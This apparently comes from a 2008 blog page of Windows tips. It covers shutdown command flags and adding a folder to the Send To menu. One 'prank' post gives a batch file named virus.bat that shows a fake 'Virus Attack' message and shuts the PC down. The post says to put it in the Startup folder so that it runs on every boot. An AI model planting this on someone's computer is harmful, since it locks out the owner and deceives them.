Posts Tagged ‘Windows Tricks’

Windows Shutdown and Restart Tricks

Friday, October 10th, 2008

My Exclusive… Again a contribution to Computer Tricks !
Play pranks on your friends…

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Shutdown Trick
Stimulate shutdown from command prompt !
# Start >> Run
# Type shutdown -s -t 10 -c “Shutting Down…”
# Hit Enter and enjoy !
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Restart Trick
Stimulate Restart from command prompt !
# Start >> Run
# Type shutdown -r -t 10 -c “Restarting…”
# Hit Enter and enjoy !
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Log Off Trick
Stimulate LogOff from command prompt !
# Start >> Run
# Type shutdown -l
# Hit Enter and enjoy !
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Please Note

-s :: This signify Shutdown Request.
-r :: This signify Restart Request.
-l :: This signify LogOff Request.
-t :: This signify the timer before Restart. (Replace ‘10‘ with any number.)
-c :: This signify comment.

How To Stop It ?
# When the timer is Running…
# Start >> Run
# Type shutdown -a
# That’s It.

Prank !!!

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۩ We can make a batch file which will Shutdown the computer everytime on startup !

Here is how ?

Open Notepad

Type :

@ECHO OFF

shutdown -s -t 10 -c “Virus Attack…”

exit

File >> Save As…

Name it : virus.bat

Start >> All Programs

Right Click on Startup >> Open

This open the Startup folder

Paste the Virus.bat file here !

*** That’s all , now the computer will automatically shutdown on every startup !

Have Folder To - “SEND TO”

Friday, October 3rd, 2008

Many a times we require a FOLDER too often, like to store our Multimedia files and all !!!
No no need to access the folder and carry out the traditional COPY & PASTE !!!

Just add it too “SEND TO” !!!

Do as follows :

** Open any FOLDER.
** Then, TOOLS >> Folder Options
** Click view TAB.
** In LIST of Advance Settings, click Show hidden files and folders !
** Now, go to C:\Documents and Settings
** Here, double click and open your (username) folder !
** Now, open SendTo folder.
** Here copy and paste the shortcut of your favorite folder.

That’s Done !!!

Now, tranfer files to your favorite folder :

** Right Click the file
** Then, Send To
** Click the folder name !